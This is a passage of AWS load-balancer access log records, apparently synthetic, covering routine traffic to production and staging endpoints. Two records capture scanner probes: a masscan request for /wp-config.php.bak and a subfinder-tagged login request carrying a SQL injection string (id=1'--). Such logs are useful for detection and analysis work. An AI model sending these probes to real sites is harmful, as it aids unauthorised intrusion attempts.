"Root=1-6723ca5b-d95d799234874411968734d8" "staging-alb.example.com" "-" 1 2024-11-01T01:20:11.250114Z "forward" "-" "-" "247.138.145.95:8080" "200" "-" "-" +https 2024-11-01T01:20:12.591194Z prod-web-alb 186.194.102.135:57343 10.0.57.248:443 0.046478 0.425416 0.067310 301 301 811 4368 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca5c-399d579abb354e0e90a103f7" "-" "-" 3 2024-11-01T01:20:12.591194Z "forward" "-" "-" "10.0.57.248:443" "301" "-" "-" +https 2024-11-01T01:20:14.296170Z staging-alb 161.241.230.107:47155 208.183.164.54:80 0.029770 0.658787 0.100510 200 200 511 7928 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca5e-e243ebae505d4970881b79fe" "staging-alb.example.com" "-" 3 2024-11-01T01:20:14.296170Z "forward" "-" "-" "208.183.164.54:80" "200" "-" "-" +https 2024-11-01T01:20:16.170312Z prod-web-alb 183.17.40.150:12696 10.0.15.96:443 0.012670 0.314563 0.089979 200 200 833 11710 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca60-cef0bb15e26b49b9a4929b1f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:20:16.170312Z "forward" "-" "-" "10.0.15.96:443" "200" "-" "-" +https 2024-11-01T01:20:16.985421Z prod-web-alb 227.8.125.24:13104 10.0.80.127:443 0.080593 0.139135 0.085157 302 302 969 12493 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca60-a9a84ceead51459896e1c0ad" "prod-web-alb.example.com" "-" 3 2024-11-01T01:20:16.985421Z "forward" "-" "-" "10.0.80.127:443" "302" "-" "-" +https 2024-11-01T01:20:17.464419Z prod-api-alb 71.15.64.165:30795 10.0.192.75:443 0.054150 0.059765 0.011612 200 200 18 13333 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca61-42c374ff27b14111a57d1c88" "prod-api-alb.example.com" "-" 3 2024-11-01T01:20:17.464419Z "forward" "-" "-" "10.0.192.75:443" "200" "-" "-" +https 2024-11-01T01:20:19.208899Z staging-alb 193.27.228.79:19614 173.169.180.192:443 0.136874 0.681707 0.142589 302 302 957 10290 "POST /wp-config.php.bak HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca63-1e8943cc0ea84025bcc9be27" "-" "-" 8 2024-11-01T01:20:19.208899Z "forward" "-" "-" "173.169.180.192:443" "302" "-" "-" +http 2024-11-01T01:20:21.207003Z staging-alb 255.244.132.135:59933 24.58.125.40:443 0.058515 0.679517 0.026235 200 200 51 12924 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca65-f4fdf83215244f328f1a63b7" "staging-alb.example.com" "-" 10 2024-11-01T01:20:21.207003Z "forward" "-" "-" "24.58.125.40:443" "200" "-" "-" +https 2024-11-01T01:20:22.434486Z prod-web-alb 177.17.230.123:36217 10.0.147.197:443 0.091627 0.418046 0.059229 301 301 263 2536 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca66-086b0f0eae174a3f91d2fb08" "prod-web-alb.example.com" "-" 4 2024-11-01T01:20:22.434486Z "forward" "-" "-" "10.0.147.197:443" "301" "-" "-" +http 2024-11-01T01:20:22.556143Z staging-alb 13.71.156.173:18298 226.100.145.111:8080 0.076736 0.164813 0.116208 200 200 303 4202 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca66-1d45ced143d441a8b8cd5511" "staging-alb.example.com" "-" 10 2024-11-01T01:20:22.556143Z "forward" "-" "-" "226.100.145.111:8080" "200" "-" "-" +https 2024-11-01T01:20:23.977613Z prod-api-alb 130.134.84.127:27056 10.0.121.203:443 0.060288 0.472127 0.099805 200 200 59 11246 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca67-f61b4df027af4dd7aa6a2f08" "prod-api-alb.example.com" "-" 1 2024-11-01T01:20:23.977613Z "forward" "-" "-" "10.0.121.203:443" "200" "-" "-" +https 2024-11-01T01:20:24.793548Z staging-alb 124.241.193.66:57190 110.37.125.138:443 0.108415 0.559824 0.095184 301 301 453 6049 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca68-4751b75c668147c89fd5ed50" "staging-alb.example.com" "-" 6 2024-11-01T01:20:24.793548Z "forward" "-" "-" "110.37.125.138:443" "301" "-" "-" +https 2024-11-01T01:20:26.025940Z prod-api-alb 69.15.188.178:48463 10.0.58.125:443 0.022148 0.184864 0.044825 404 404 240 14644 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca6a-2ed0e02f2ef949548bad7076" "prod-api-alb.example.com" "-" 10 2024-11-01T01:20:26.025940Z "forward" "-" "-" "10.0.58.125:443" "404" "-" "-" +https 2024-11-01T01:20:27.236666Z prod-api-alb 156.123.232.189:40370 10.0.191.55:443 0.012059 0.241567 0.034253 200 200 545 3261 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca6b-f8514f788c834ef1bf16cb72" "-" "-" 8 2024-11-01T01:20:27.236666Z "forward" "-" "-" "10.0.191.55:443" "200" "-" "-" +https 2024-11-01T01:20:28.689601Z prod-api-alb 179.157.167.41:59869 10.0.230.246:443 0.076595 0.138587 0.059205 200 200 928 6366 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca6c-8a8756ab35644cf0aedc52e3" "prod-api-alb.example.com" "-" 8 2024-11-01T01:20:28.689601Z "forward" "-" "-" "10.0.230.246:443" "200" "-" "-" +http 2024-11-01T01:20:30.619379Z staging-alb 196.77.240.132:12392 86.26.148.88:8080 0.022251 0.234747 0.088042 200 200 507 4085 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca6e-1bf5b410e3d74c30842b0ddb" "staging-alb.example.com" "-" 7 2024-11-01T01:20:30.619379Z "forward" "-" "-" "86.26.148.88:8080" "200" "-" "-" +https 2024-11-01T01:20:32.061542Z prod-api-alb 34.35.136.189:40022 10.0.244.128:443 0.027922 0.181262 0.096176 200 200 317 10392 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca70-d6a4a93f160143eea52f4834" "prod-api-alb.example.com" "-" 0 2024-11-01T01:20:32.061542Z "forward" "-" "-" "10.0.244.128:443" "200" "-" "-" +https 2024-11-01T01:20:32.288510Z staging-alb 211.58.147.248:40157 151.130.55.148:8080 0.021573 0.203422 0.114110 301 301 81 14440 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca70-4a8f9d8c7b6945d6aef49c27" "staging-alb.example.com" "-" 9 2024-11-01T01:20:32.288510Z "forward" "-" "-" "151.130.55.148:8080" "301" "-" "-" +https 2024-11-01T01:20:33.790180Z prod-api-alb 175.113.201.76:10515 10.0.209.25:443 0.066984 0.430382 0.092500 301 301 636 8975 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca71-a373877bb65c4f4bba2b03ed" "prod-api-alb.example.com" "-" 5 2024-11-01T01:20:33.790180Z "forward" "-" "-" "10.0.209.25:443" "301" "-" "-" +https 2024-11-01T01:20:35.290988Z prod-api-alb 81.228.155.165:12239 10.0.175.237:443 0.037886 0.481665 0.091102 200 200 878 5034 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca73-8ece1fc7be534599a10e14c8" "prod-api-alb.example.com" "-" 1 2024-11-01T01:20:35.290988Z "forward" "-" "-" "10.0.175.237:443" "200" "-" "-" +http 2024-11-01T01:20:36.570881Z staging-alb 196.240.78.198:13556 124.187.57.47:8080 0.019918 0.184602 0.000596 200 200 542 6269 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca74-a45e951ba8884164a069cb80" "staging-alb.example.com" "-" 3 2024-11-01T01:20:36.570881Z "forward" "-" "-" "124.187.57.47:8080" "200" "-" "-" +https 2024-11-01T01:20:38.488701Z staging-alb 218.236.175.83:43238 43.68.52.146:443 0.043592 0.092930 0.089219 200 200 15 637 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca76-53469bd04250441bb9fbefe7" "staging-alb.example.com" "-" 6 2024-11-01T01:20:38.488701Z "forward" "-" "-" "43.68.52.146:443" "200" "-" "-" +https 2024-11-01T01:20:39.811662Z prod-web-alb 128.91.85.240:42618 10.0.149.50:443 0.031274 0.168342 0.019789 200 200 131 7355 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca77-ce6b12dd5a2f45d7a31ab7bf" "prod-web-alb.example.com" "-" 5 2024-11-01T01:20:39.811662Z "forward" "-" "-" "10.0.149.50:443" "200" "-" "-" +https 2024-11-01T01:20:40.329917Z prod-api-alb 28.186.72.86:36517 10.0.74.127:443 0.067577 0.174721 0.075908 200 200 486 12905 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca78-142dbfa97709402e9281df8e" "prod-api-alb.example.com" "-" 2 2024-11-01T01:20:40.329917Z "forward" "-" "-" "10.0.74.127:443" "200" "-" "-" +https 2024-11-01T01:20:40.649493Z prod-api-alb 255.31.133.173:19301 10.0.224.1:443 0.040050 0.281115 0.047015 200 200 683 8894 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca78-a0e4aca7722747d68052d99d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:20:40.649493Z "forward" "-" "-" "10.0.224.1:443" "200" "-" "-" +http 2024-11-01T01:20:42.540445Z staging-alb 150.137.255.204:62998 203.179.112.86:80 0.004639 0.601923 0.141523 302 302 370 2687 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca7a-514f94cbd17d4d1db7ff8326" "staging-alb.example.com" "-" 6 2024-11-01T01:20:42.540445Z "forward" "-" "-" "203.179.112.86:80" "302" "-" "-" +http 2024-11-01T01:20:43.664663Z staging-alb 143.202.14.124:24435 134.53.123.207:80 0.042483 0.636474 0.065310 200 200 624 6953 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca7b-32b173db1f5447119c1ac53f" "staging-alb.example.com" "-" 2 2024-11-01T01:20:43.664663Z "forward" "-" "-" "134.53.123.207:80" "200" "-" "-" +https 2024-11-01T01:20:45.362831Z prod-web-alb 45.247.27.208:61161 10.0.59.61:443 0.003039 0.245629 0.029943 302 302 50 13536 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca7d-02bc95bb93f64fc78e32bf81" "prod-web-alb.example.com" "-" 9 2024-11-01T01:20:45.362831Z "forward" "-" "-" "10.0.59.61:443" "302" "-" "-" +https 2024-11-01T01:20:47.036258Z staging-alb 131.169.10.160:24273 86.71.100.156:443 0.137554 0.203425 0.024180 200 200 656 11470 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca7f-34f21027067b4b0085e0c149" "staging-alb.example.com" "-" 10 2024-11-01T01:20:47.036258Z "forward" "-" "-" "86.71.100.156:443" "200" "-" "-" +https 2024-11-01T01:20:47.810923Z prod-web-alb 111.101.132.3:23620 10.0.30.109:443 0.042846 0.442901 0.060012 404 404 558 391 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca7f-34cf9c2aa2934f3ab7b54625" "prod-web-alb.example.com" "-" 0 2024-11-01T01:20:47.810923Z "forward" "-" "-" "10.0.30.109:443" "404" "-" "-" +https 2024-11-01T01:20:49.288615Z prod-api-alb 179.174.219.141:50772 10.0.107.73:443 0.027218 0.428079 0.033716 302 302 715 1451 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca81-4fe424deb8a14b13be01b1a2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:20:49.288615Z "forward" "-" "-" "10.0.107.73:443" "302" "-" "-" +http 2024-11-01T01:20:50.597950Z staging-alb 242.93.18.95:27010 143.65.80.58:8080 0.042121 0.610656 0.022709 200 200 451 6377 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca82-b93091a752514fd0a8c7d99c" "staging-alb.example.com" "-" 2 2024-11-01T01:20:50.597950Z "forward" "-" "-" "143.65.80.58:8080" "200" "-" "-" +https 2024-11-01T01:20:52.410980Z prod-web-alb 109.68.154.56:37263 10.0.248.40:443 0.060397 0.217530 0.037860 302 302 179 9792 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca84-a8113ead59274926be150929" "prod-web-alb.example.com" "-" 9 2024-11-01T01:20:52.410980Z "forward" "-" "-" "10.0.248.40:443" "302" "-" "-" +https 2024-11-01T01:20:52.893934Z prod-api-alb 218.176.182.144:54103 10.0.114.76:443 0.061594 0.172863 0.034338 301 301 1 3529 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca84-c4a568367d124486846dd2cb" "prod-api-alb.example.com" "-" 10 2024-11-01T01:20:52.893934Z "forward" "-" "-" "10.0.114.76:443" "301" "-" "-" +https 2024-11-01T01:20:54.106129Z prod-web-alb 11.60.213.188:31151 10.0.209.176:443 0.062318 0.383943 0.015874 301 301 541 4781 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca86-6f694528af7640d48c002098" "prod-web-alb.example.com" "-" 10 2024-11-01T01:20:54.106129Z "forward" "-" "-" "10.0.209.176:443" "301" "-" "-" +https 2024-11-01T01:20:56.062000Z prod-web-alb 64.76.171.76:50139 10.0.93.169:443 0.068492 0.461517 0.073019 302 302 703 14946 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca88-3fd2d35f27854559a6bf6ead" "prod-web-alb.example.com" "-" 2 2024-11-01T01:20:56.062000Z "forward" "-" "-" "10.0.93.169:443" "302" "-" "-" +https 2024-11-01T01:20:58.054409Z prod-web-alb 227.76.93.109:13068 10.0.32.194:443 0.035972 0.151921 0.065267 301 301 797 4275 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca8a-178fb78bb5724dd9a12e7058" "prod-web-alb.example.com" "-" 10 2024-11-01T01:20:58.054409Z "forward" "-" "-" "10.0.32.194:443" "301" "-" "-" +https 2024-11-01T01:20:59.005262Z prod-api-alb 32.42.109.201:42298 10.0.69.125:443 0.087448 0.008165 0.001780 200 200 81 2007 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca8b-2da9cce0e8fa4f63a0680749" "prod-api-alb.example.com" "-" 6 2024-11-01T01:20:59.005262Z "forward" "-" "-" "10.0.69.125:443" "200" "-" "-" +https 2024-11-01T01:21:00.746309Z prod-api-alb 5.201.194.35:27782 10.0.217.113:443 0.029707 0.360080 0.090982 200 200 443 8226 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca8c-c607ff1bebb9425aa9d7e4ca" "prod-api-alb.example.com" "-" 10 2024-11-01T01:21:00.746309Z "forward" "-" "-" "10.0.217.113:443" "200" "-" "-" +http 2024-11-01T01:21:01.069970Z staging-alb 237.172.254.254:58657 60.25.82.68:8080 0.027652 0.629060 0.026617 200 200 947 14589 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca8d-80f5e311cf7341829c59ae5a" "staging-alb.example.com" "-" 6 2024-11-01T01:21:01.069970Z "forward" "-" "-" "60.25.82.68:8080" "200" "-" "-" +https 2024-11-01T01:21:02.172648Z prod-web-alb 162.252.113.68:47044 10.0.59.155:443 0.036157 0.416642 0.095390 301 301 674 8100 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca8e-aa62318010df42078e91c7e9" "prod-web-alb.example.com" "-" 3 2024-11-01T01:21:02.172648Z "forward" "-" "-" "10.0.59.155:443" "301" "-" "-" +https 2024-11-01T01:21:03.332391Z staging-alb 27.24.116.235:58771 13.195.78.79:8080 0.063230 0.749646 0.111685 301 301 393 7946 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca8f-0f059fbe69f749428d9ddcd9" "staging-alb.example.com" "-" 1 2024-11-01T01:21:03.332391Z "forward" "-" "-" "13.195.78.79:8080" "301" "-" "-" +http 2024-11-01T01:21:03.829560Z staging-alb 34.137.32.19:54388 108.200.192.45:443 0.111965 0.531970 0.041167 200 200 759 3578 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca8f-c112b750fcae47949e50307a" "staging-alb.example.com" "-" 1 2024-11-01T01:21:03.829560Z "forward" "-" "-" "108.200.192.45:443" "200" "-" "-" +https 2024-11-01T01:21:05.172548Z prod-web-alb 152.78.236.27:61525 10.0.220.192:443 0.054675 0.271521 0.049680 301 301 109 2110 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca91-f9386ce0eb444212a5f59c4e" "prod-web-alb.example.com" "-" 1 2024-11-01T01:21:05.172548Z "forward" "-" "-" "10.0.220.192:443" "301" "-" "-" +https 2024-11-01T01:21:06.657153Z prod-web-alb 198.163.81.248:14687 10.0.38.238:443 0.064590 0.197402 0.028146 200 200 798 1484 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca92-0f90e4677a514379b08eba05" "prod-web-alb.example.com" "-" 3 2024-11-01T01:21:06.657153Z "forward" "-" "-" "10.0.38.238:443" "200" "-" "-" +http 2024-11-01T01:21:06.896967Z staging-alb 185.181.178.132:56438 34.116.64.4:8080 0.021191 0.108968 0.135148 200 200 33 11386 "POST /login?id=1'-- HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca92-f62f6c70a2674f63a98f8048" "-" "-" 9 2024-11-01T01:21:06.896967Z "forward" "-" "-" "34.116.64.4:8080" "200" "-" "-" +https 2024-11-01T01:21:07.134431Z prod-api-alb 166.229.20.108:43172 10.0.147.45:443 0.023100 0.419952 0.067631 302 302 885 12346 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca93-020f2f6589a24fcfa434c162" "prod-api-alb.example.com" "-" 2 2024-11-01T01:21:07.134431Z "forward" "-" "-" "10.0.147.45:443" "302" "-" "-" +http 2024-11-01T01:21:07.645388Z staging-alb 229.12.52.222:45880 182.136.93.232:8080 0.129846 0.323564 0.067922 200 200 479 1390 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca93-bbeac3f780e74455ab58d064" "-" "-" 4 2024-11-01T01:21:07.645388Z "forward" "-" "-" "182.136.93.232:8080" "200" "-" "-" +https 2024-11-01T01:21:08.581836Z prod-api-alb 44.187.224.244:39395 10.0.7.129:443 0.054928 0.455099 0.032227 200 200 280 5682 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 